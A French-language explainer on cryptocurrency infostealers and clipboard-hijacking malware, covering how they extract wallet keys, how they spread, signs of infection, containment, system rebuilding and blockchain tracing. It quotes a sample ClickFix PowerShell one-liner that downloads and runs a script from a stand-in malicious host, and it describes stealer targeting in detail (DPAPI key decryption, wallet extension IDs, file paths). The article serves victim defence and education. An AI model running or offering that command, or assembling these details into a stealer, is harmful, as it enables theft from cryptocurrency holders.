Malware infostealer de cryptomonnaies : comment les chevaux de Troie ciblent les clés privées de portefeuilles, les extensions de navigateur et le presse-papiers — détection, désinfection et récupération des victimes

1. Comprendre les malwares infostealers de cryptomonnaies : la mécanique du vol d'informations

Les malwares infostealers de cryptomonnaies représentent une catégorie spécialisée de chevaux de Troie conçus spécifiquement pour découvrir, collecter et exfiltrer les secrets d'authentification, les identifiants sensibles et le matériel cryptographique depuis des systèmes d'exploitation compromis. Alors que les malwares traditionnels se concentraient historiquement sur les botnets d'attaques par déni de service distribué (DDoS) ou le chiffrement destructeur de fichiers, l'économie cybercriminelle contemporaine privilégie l'extraction silencieuse d'actifs. Dès qu'une charge utile d'infostealer s'exécute sur un terminal, elle accomplit sa mission malveillante en quelques secondes, s'auto-terminant ou restant en veille avant même que les solutions de sécurité de l'hôte ne puissent signaler une activité anormale.

La prolifération commerciale de cette menace est alimentée par le modèle de distribution de logiciels malveillants en tant que service (Malware-as-a-Service ou MaaS). Sur les forums du Darknet et les canaux Telegram illicites, des syndicats de développeurs spécialisés louent des binaires compilés, des panneaux d'administration web et des outils d'assemblage automatisés (builders) à des affiliés peu qualifiés via des abonnements mensuels ou des accords de partage de revenus. Des familles de malwares réputées telles que RedLine Stealer, META, Vidar, Raccoon Stealer et Lumma Stealer ont mis en place des chaînes logistiques sophistiquées. Comme le soulignent les chercheurs en cybersécurité de SentinelOne, les opérateurs d'infostealers déploient des stratégies de diffusion hautement ciblées, telles que les campagnes ClickFix, exploitant l'ingénierie sociale psychologique et la fatigue de vérification pour faire exécuter des scripts qui téléchargent silencieusement les binaires malveillants depuis des infrastructures de commande et de contrôle (C2) externes.

L'ampleur mondiale de cet écosystème s'est illustrée lors d'opérations internationales d'application de la loi de grande envergure. Fin 2024, Eurojust a coordonné l'Opération Magnus, une coalition multinationale mobilisant les autorités des Pays-Bas, des États-Unis, de Belgique, du Portugal, du Royaume-Uni et d'Australie, qui a démantelé avec succès l'infrastructure de serveurs centrale soutenant les infostealers RedLine et META. Les éléments médico-légaux saisis au cours de ce démantèlement ont révélé que ces deux seules variantes avaient compromis des millions de machines individuelles à travers le monde, dérobant des milliards d'identifiants, d'enregistrements de navigation et de profils de portefeuilles de cryptomonnaies.

Selon le rapport Chainalysis 2026 Crypto Crime Report, les fonds volés issus de compromissions de terminaux et d'infections par malware représentent des centaines de millions de dollars de pertes annuelles on-chain. Plutôt que d'inspecter manuellement les logs dérobés, les réseaux cybercriminels modernes exploitent des analyseurs automatisés qui ingèrent les archives compressées exfiltrées via des requêtes HTTP POST chiffrées ou les API de bots Telegram. Dès que des clés privées valides ou des phrases de récupération sont détectées, des contrats intelligents de vidage (drainers) et des robots de transaction automatisés siphonnent immédiatement l'intégralité des soldes associés, dispersant les actifs numériques dans des circuits de blanchiment multi-sauts (multi-hop) en quelques minutes seulement après l'infection initiale.

2. Comment les stealers extraient clés privées, coffres d'extensions de navigateur et phrases de récupération

Les extensions de navigateur Web3 non dépositaires (non-custodial) telles que MetaMask, Phantom, Coinbase Wallet, Rabby et TronLink s'appuient sur les API de stockage standard des navigateurs. Tant dans les navigateurs basés sur Chromium (Google Chrome, Brave, Microsoft Edge, Opera) que dans ceux basés sur Gecko (Mozilla Firefox), l'état des extensions est écrit sur le disque local dans des répertoires structurés sous forme de bases de données LevelDB ou SQLite.

Le mécanisme de déchiffrement Windows DPAPI

Les navigateurs Chromium chiffrent les données sensibles stockées à l'aide d'une clé maîtresse chiffrée située dans le fichier de configuration JSON « Local State » du navigateur. Sous Windows, cette clé maîtresse est protégée via la fonction CryptProtectData de l'API de protection des données Windows (DPAPI). La DPAPI protège les secrets contre d'autres comptes utilisateurs de la machine, mais tout exécutable s'exécutant dans le contexte de l'utilisateur connecté peut invoquer CryptUnprotectData pour déchiffrer la clé maîtresse sans déclencher d'invite de Contrôle de compte d'utilisateur (UAC) administrative.

Comme documenté dans les analyses de menaces de la bibliothèque Huntress Threat Library, des infostealers comme Lumma Stealer localisent le répertoire Local State, exécutent CryptUnprotectData sur la clé maîtresse chiffrée et obtiennent la clé symétrique AES brute en mémoire. Doté de cette clé, le malware parcourt les répertoires d'extensions à la recherche d'identifiants statiques prédéfinis, tels que ceux de MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn) ou de Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa). Le malware copie ensuite l'intégralité de la base de données LevelDB contenant le coffre chiffré du portefeuille, le sel (salt) et le hachage du mot de passe.

Ciblage des portefeuilles logiciels de bureau et phrases mnémoniques non chiffrées

Les infostealers ciblent également les applications de portefeuilles de cryptomonnaies autonomes installées sur le système d'exploitation. La télémétrie des menaces recueillie par SlowMist Technology et le Département de la Justice des États-Unis (DOJ) révèle que les charges utiles malveillantes interrogent systématiquement les chemins de fichiers par défaut d'applications telles qu'Electrum (%APPDATA%\Electrum\wallets), Exodus (%APPDATA%\Exodus\exodus.wallet), Atomic Wallet et Wasabi Wallet.

Les stealers intègrent également des modules de balayage de fichiers (file-scraping), analysant les dossiers Bureau, Documents et Téléchargements à la recherche de fichiers texte et bureautiques (.txt, .docx, .pdf, .kdbx). Les charges utiles exploitent des expressions régulières pour détecter les phrases mnémoniques de récupération BIP-39 (12, 18 ou 24 mots standardisés), les clés privées brutes de 64 caractères hexadécimaux et les clés d'API de plateformes d'échange. De nombreuses variantes effectuent également des captures d'écran dès leur exécution pour récupérer des identifiants ou des notes affichés à l'écran.

3. Détourneurs de presse-papiers et malwares clippers : la menace silencieuse de substitution d'adresses

Les pirates de presse-papiers, ou malwares clippers, manipulent la mémoire tampon du presse-papiers du système d'exploitation en temps réel. Étant donné que les adresses publiques cryptographiques sont de longues chaînes alphanumériques, les utilisateurs de cryptomonnaies effectuent systématiquement des copier-coller lorsqu'ils initient des transferts. Les malwares clippers détournent ce processus en remplaçant furtivement l'adresse du destinataire prévu par une adresse contrôlée par l'attaquant.

Surveillance d'API et reconnaissance par expressions régulières

Les malwares clippers surveillent le presse-papiers à l'aide de fonctions de l'API Windows telles que GetClipboardData et SetClipboardData. Dès qu'un texte est copié, le malware évalue la chaîne à l'aide d'expressions régulières optimisées reconnaissant les principaux formats d'adresses de cryptomonnaies :

• Bitcoin (BTC) : Formats d'adresses hérités P2PKH (« 1 »), P2SH (« 3 »), SegWit Bech32 (« bc1q ») et Taproot (« bc1p »).
• Ethereum et chaînes compatibles EVM (ETH, BNB, MATIC) : Chaînes hexadécimales de 40 caractères préfixées par « 0x ».
• Solana (SOL) : Chaînes encodées en Base58 comptant entre 32 et 44 caractères alphanumériques.
• TRON (TRX / USDT-TRC20) : Chaînes de 34 caractères commençant par « T ».

Dès qu'un format d'adresse est identifié, le clipper remplace instantanément le contenu du presse-papiers par une adresse appartenant à l'attaquant sur le même réseau blockchain, en quelques millisecondes, rendant la substitution indétectable lors d'une manipulation normale de copier-coller.

Adresses personnalisées (vanity) et contournement des portefeuilles matériels

Des recherches académiques publiées sur arXiv détaillant l'attaque « EthClipper » démontrent que les adversaires pré-génèrent des millions d'adresses personnalisées (dites vanity addresses) reproduisant les 4 à 6 premiers et les 4 à 6 derniers caractères des adresses des victimes. Les habitudes visuelles humaines se limitant généralement à vérifier le préfixe et le suffixe d'une adresse, les victimes valident fréquemment des transactions vers ces adresses sosies contrôlées par l'attaquant.

Les données documentées par SlowMist Technology montrent que les modules de clippers sont fréquemment intégrés directement aux packages d'infostealers ou distribués via des utilitaires Web3 piégés (trojanisés). Nécessitant un volume de code minime, ils conservent une empreinte mémoire extrêmement discrète, échappent aux signatures antivirus statiques et demeurent actifs sur les terminaux pendant des mois.

4. Vecteurs de distribution des cybercriminels : malvertising, logiciels piratés et leurres de phishing

Les syndicats cybercriminels modernes exploitent des réseaux de distribution multicanaux conçus pour inciter leurs cibles à exécuter du code malveillant. Les investisseurs en cryptomonnaies, les ingénieurs Web3 et les traders d'actifs numériques sont ciblés via la manipulation des moteurs de recherche, l'ingénierie sociale et la compromission de chaînes d'approvisionnement logicielles.

Campagnes de malvertising sur les moteurs de recherche

L'un des vecteurs majeurs réside dans l'usurpation d'annonces publicitaires sur les moteurs de recherche (malvertising). Le Centre de plaintes pour crimes sur Internet du Federal Bureau of Investigation (FBI IC3) a publié une alerte d'intérêt public détaillant la manière dont les cybercriminels achètent des annonces sponsorisées sur Google Ads et Bing Ads. Les acteurs malveillants surenchérissent sur des requêtes de recherche à forte intention telles que « download metamask », « phantom wallet extension », « tradingview desktop » ou « exodus wallet download ».

Lorsqu'un internaute effectue une recherche, l'annonce frauduleuse apparaît au-dessus des résultats organiques. Un clic redirige la victime via des filtres de dissimulation (cloaking) qui présentent un contenu anodin aux robots d'indexation tout en affichant un clone parfait du site officiel aux utilisateurs réels. Le téléchargement du fichier d'installation exécute un dropper obfusqué déployant RedLine, Vidar ou Lumma Stealer.

La technique d'attaque ClickFix par fausse vérification

Les recherches en sécurité menées par SentinelOne et Qualys Threat Research mettent en lumière la prolifération de l'attaque d'ingénierie sociale nommée « ClickFix ». Des sites web malveillants affichent des erreurs simulées, telles que de faux défis CAPTCHA Cloudflare, des alertes de codecs vidéo manquants ou de faux avertissements de mise à jour de navigateur.

La victime est incitée à appuyer sur les touches Windows + R, à coller une commande dans l'invite Exécuter et à valider avec Entrée. En réalité, le texte copié dans le presse-papiers contient une commande PowerShell obfusquée (telle que powershell -w hidden -c "iex(New-Object Net.WebClient).DownloadString('https://malicious-cdn...')"). Comme la commande est lancée manuellement par l'utilisateur, les solutions de protection du terminal l'interprètent souvent comme une tâche administrative légitime, contournant ainsi les pare-feu de périmètre.

Portails techniques factices et démarchage ciblé

Dans une alerte complémentaire, le FBI IC3 a mis en exergue l'essor des portails d'assistance technique usurpés et des sollicitations frauduleuses de développeurs. Dans les communautés de développeurs crypto, les cybercriminels se font passer pour des recruteurs ou des fondateurs de startups Web3 proposant des tests techniques de codage. Les dépôts fournis renferment des dépendances malveillantes qui exécutent un infostealer dès le lancement de la commande npm install.

5. Signes avant-coureurs : comment identifier une infection active par un infostealer sur votre appareil

Bien que les infostealers soient conçus pour la discrétion, leur exécution génère des artéfacts médico-légaux caractéristiques et des anomalies comportementales. Identifier une infection active avant que les attaquants n'achèvent la monétisation des données exfiltrées peut éviter la perte totale de vos actifs.

Indicateurs comportementaux sur le terminal

Étant donné que les infostealers interagissent directement avec les fichiers locaux et les processus du navigateur, les victimes constatent fréquemment des anomalies soudaines. Les analyses de la Huntress Threat Library et de Qualys mettent en évidence plusieurs indicateurs révélateurs sur l'hôte :

• Fermetures inattendues du navigateur et redémarrages de profil : Les stealers interrompent brutalement les processus actifs (tels que chrome.exe ou brave.exe) afin de libérer les verrous sur les fichiers de bases de données SQLite et LevelDB.
• Fenêtres de terminal furtives : Brèves ouvertures d'invites de commandes ou de fenêtres de console PowerShell apparaissant une fraction de seconde au démarrage du système ou après un clic sur un lien web.
• Altération des paramètres antivirus : Ajouts non autorisés dans le registre des exclusions de Windows Defender (HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths).
• Processus d'arrière-plan suspects : Exécutables aux noms aléatoires tournant depuis des répertoires temporaires tels que %APPDATA% ou C:\Users\Public\ et consommant anormalement des ressources processeur.

Anomalies de trafic réseau et communications suspectes

La télémétrie publiée par Darktrace Threat Insights met en lumière les signatures réseau associées à l'exfiltration des données. Après avoir collecté les fichiers locaux, le malware compresse les mots de passe, cookies et clés de portefeuilles dans des archives chiffrées, avant d'initier des requêtes sortantes HTTP POST vers des serveurs C2 distants ou d'exploiter les canaux de l'API Telegram Bot (par exemple des requêtes dirigées vers api.telegram.org/bot[token]/sendDocument).

6. Confinement d'urgence : isoler les systèmes compromis et sécuriser les actifs numériques

Si vous soupçonnez qu'un infostealer a été exécuté sur votre ordinateur ou si vous constatez des transactions non autorisées, un confinement immédiat est impératif. La panique pousse souvent les victimes à lancer de longues analyses antivirus sur la machine infectée, ce qui laisse le temps à l'exfiltration de s'achever ou risque de déclencher des routines d'effacement de preuves (wipers).

Étape 1 : Couper immédiatement toute connectivité réseau

L'isolation réseau totale est la première action obligatoire. Débranchez physiquement les câbles Ethernet, désactivez le Wi-Fi et le Bluetooth, ou enclenchez le mode avion matériel. Couper la connexion Internet interrompt les sockets C2 actifs, bloque les transferts d'exfiltration en attente et stoppe les ordres d'exécution à distance. Ne redémarrez pas l'ordinateur immédiatement, car la mémoire vive (RAM) volatile contient de précieuses données médico-légales.

Étape 2 : Basculer vers un environnement sain et isolé

Ne tentez jamais de mettre vos actifs cryptographiques en sécurité depuis l'appareil infecté. Chaque frappe au clavier ou phrase de récupération saisie sur un système compromis peut être interceptée par des enregistreurs de frappe (keyloggers) actifs. Comme le soulignent les alertes de cybersécurité du FBI IC3, l'ensemble des interventions d'urgence doit s'effectuer depuis un terminal vérifié et sain :

• Utilisez un ordinateur secondaire sain ou un smartphone récemment configuré connecté en données cellulaires (et non au réseau Wi-Fi local potentiellement compromis).
• Configurez un portefeuille matériel entièrement neuf ou un nouveau portefeuille logiciel généré avec une toute nouvelle phrase de récupération.
• N'importez jamais une phrase de récupération compromise : N'importez pas la phrase de récupération existante sur un nouvel appareil. Dès lors qu'une phrase de récupération est dérobée, toutes les adresses publiques dérivées sur l'ensemble des blockchains sont définitivement compromises.

Étape 3 : Révoquer les approbations actives et les jetons de session

Si des autorisations de contrats intelligents avaient été accordées par le portefeuille compromis, utilisez un outil de gestion des allocations tel que Revoke.cash ou les interfaces officielles d'approbation des explorateurs de blocs depuis votre appareil sain. Bien que la révocation des approbations n'empêche pas un voleur détenant la clé privée brute de transférer les cryptomonnaies natives, elle bloque les contrats draineurs automatisés qui siphonnent les allocations de jetons autorisées.

7. Désinfection complète de l'appareil et reconstruction d'un environnement sécurisé

Une erreur fréquente des victimes de malwares consiste à se fier à un antivirus commercial pour « nettoyer » un système infecté. Bien qu'un analyseur d'hôte puisse détecter le dropper initial, les infostealers injectent du code shell (shellcode) dans des processus système légitimes, modifient les configurations de démarrage, créent des tâches planifiées et déposent des outils d'accès à distance secondaires ou des clippers persistants au cœur des répertoires système.

La nécessité d'une réinstallation complète du système d'exploitation (bare-metal)

Comme l'indiquent les rapports d'expertise médico-légale consécutifs aux actions répressives du Département de la Justice (DOJ) contre les syndicats d'infostealers, les charges utiles établissent fréquemment des mécanismes de persistance profonds. Les analyses de menaces de Darktrace confirment que les stealers sophistiqués survivent aux simples points de restauration système. Le rétablissement de l'intégrité de la machine exige une réinstallation complète à partir de zéro :

• Créer le support d'installation sur un appareil sain : Préparez une clé USB d'installation amorçable à l'aide de l'outil officiel Microsoft Media Creation Tool ou d'une distribution Linux officielle depuis un ordinateur vérifié et non compromis.
• Effectuer un repartitionnement complet et un formatage du disque : Supprimez toutes les partitions de disque existantes et procédez à un formatage complet. Évitez les options de « réinitialisation sans perte de données » ou « conserver mes fichiers », car des binaires malveillants peuvent se dissimuler dans les dossiers utilisateurs conservés.
• Mettre à jour le micrologiciel UEFI/BIOS de la carte mère : Flashez la dernière version du micrologiciel directement depuis le portail du fabricant afin de neutraliser tout risque de persistance au niveau du firmware.

Invalidation des identifiants et destruction des sessions

Puisque les infostealers dérobent les cookies de session actifs des navigateurs, les attaquants contournent l'authentification multifacteur (MFA) par détournement de session (session hijacking). Réinstaller le système d'exploitation n'invalide pas les cookies déjà transmis aux serveurs C2. Depuis un appareil secondaire sécurisé, révoquez manuellement toutes les sessions actives sur vos fournisseurs de messagerie, gestionnaires de mots de passe, plateformes cloud et bourses de cryptomonnaies en sélectionnant l'option « Déconnecter toutes les autres sessions ».

8. Triage des actifs dérobés : traçage blockchain, signalement aux autorités et recours juridiques

Une fois le confinement de la machine et la réinitialisation des identifiants effectués, la réponse des victimes s'oriente vers le triage des actifs et le recouvrement médico-légal. La nature décentralisée des blockchains publiques implique qu'aucune transaction ne peut être annulée par les administrateurs du protocole. Cependant, l'architecture de registre transparent de Bitcoin, Ethereum, Solana et des autres réseaux offre une piste d'audit indélébile que les experts médico-légaux et les autorités répressives utilisent pour tracer les capitaux dérobés.

Préservation des preuves médico-légales

Avant de contacter des enquêteurs ou de déposer des plaintes officielles, constituez un dossier d'incident complet. Consignez chaque identifiant de transaction (TXID) lié aux retraits non autorisés, les horodatages précis d'exécution, les réseaux blockchain concernés, les adresses de réception des attaquants et les adresses des contrats de jetons. Exportez les métadonnées brutes en JSON des transactions depuis les explorateurs de blocs tels qu'Etherscan, Solscan ou Tronscan. En cas d'échanges préalables avec un faux recruteur ou un site suspect, archivez l'intégralité des URL, les adresses IP d'hébergement et les transcriptions des échanges.

Traçage on-chain et analyse multi-sauts

Les cybercriminels ne conservent pas les cryptomonnaies volées sur les portefeuilles de collecte initiaux. Les recherches de TRM Labs et Chainalysis démontrent que les syndicats utilisent des scripts de blanchiment automatisés qui dispersent immédiatement les fonds vers des dizaines d'adresses intermédiaires. Les actifs transitent par des pools de liquidité décentralisés, franchissent des ponts inter-chaînes (bridges) ou passent par des protocoles de mixage de cryptomonnaies.

Les cabinets d'intelligence blockchain professionnels emploient des moteurs d'analyse graphique avancés pour suivre les flux financiers à travers des topologies de blanchiment complexes. Comme les syndicats ont ultimement besoin de liquidités en monnaie fiduciaire, les fonds dérobés finissent par converger vers des prestataires de services sur actifs numériques centralisés (PSAN / VASP) ou des courtiers de gré à gré (OTC). Lorsque le traçage on-chain identifie des dépôts entrant sur une plateforme régulée, les enquêteurs facilitent une intervention rapide des forces de l'ordre pour solliciter les équipes de conformité des bourses en vue d'obtenir le gel conservatoire d'urgence des comptes avant toute conversion fiduciaire.

Références

1. 1.Chainalysis. (2026). The 2026 Crypto Crime Report & Stolen Funds Ecosystem. Disponible sur : https://www.chainalysis.com/reports/crypto-crime-2026/
2. 2.TRM Labs. (2026). Cross-Chain Tracing and Multi-Hop Obfuscation in Cybercrime Investigations. Disponible sur : https://www.trmlabs.com/glossary/cross-chain-tracing
3. 3.FBI Internet Crime Complaint Center (IC3). (2022). Cybercriminals Use Search Engine Advertisement Services to Impersonate Legitimate Brands and Deliver Malware. Disponible sur : https://www.ic3.gov/PSA/2022/PSA221221
4. 4.Eurojust. (2024). Malware Targeting Millions of People Taken Down by International Coalition (Operation Magnus). Disponible sur : https://www.eurojust.europa.eu/news/malware-targeting-millions-people-taken-down-international-coalition
5. 5.U.S. Department of Justice (DOJ). (2024). U.S. Joins International Action Against RedLine and META Infostealers. Disponible sur : https://www.justice.gov/usao-wdtx/pr/us-joins-international-action-against-redline-and-meta-infostealers
6. 6.Recherche académique (arXiv). (2021). EthClipper: A Clipboard Meddling Attack on Hardware Wallets with Address Verification Evasion. Disponible sur : https://arxiv.org/abs/2108.14004
7. 7.FBI Internet Crime Complaint Center (IC3). (2025). Public Service Announcement on Spoofed Tech Portals and Fraudulent Support Entities. Disponible sur : https://www.ic3.gov/PSA/2025/PSA250919
8. 8.SentinelOne. (2025). How ClickFix is Weaponizing Verification Fatigue to Deliver RATs and Infostealers. Disponible sur : https://www.sentinelone.com/blog/how-clickfix-is-weaponizing-verification-fatigue-to-deliver-rats-infostealers/
9. 9.Qualys Threat Research. (2024). Unmasking Lumma Stealer: Analyzing Deceptive Tactics with Fake CAPTCHA. Disponible sur : https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha
10. 10.Huntress Threat Library. (2025). Lumma Stealer Behavioral Profile, Persistence, and Data Exfiltration. Disponible sur : https://www.huntress.com/threat-library/malware/lumma-stealer
11. 11.Darktrace Threat Insights. (2025). The Rise of the Lumma Info Stealer and Wallet Harvesting Campaigns. Disponible sur : https://www.darktrace.com/blog/the-rise-of-the-lumma-info-stealer
12. 12.SlowMist Technology. (2026). Web3 Wallet Attack Vectors and Malicious Extension Exploits. Disponible sur : https://hacked.slowmist.io/?c=Wallet&page=1

Ressources associées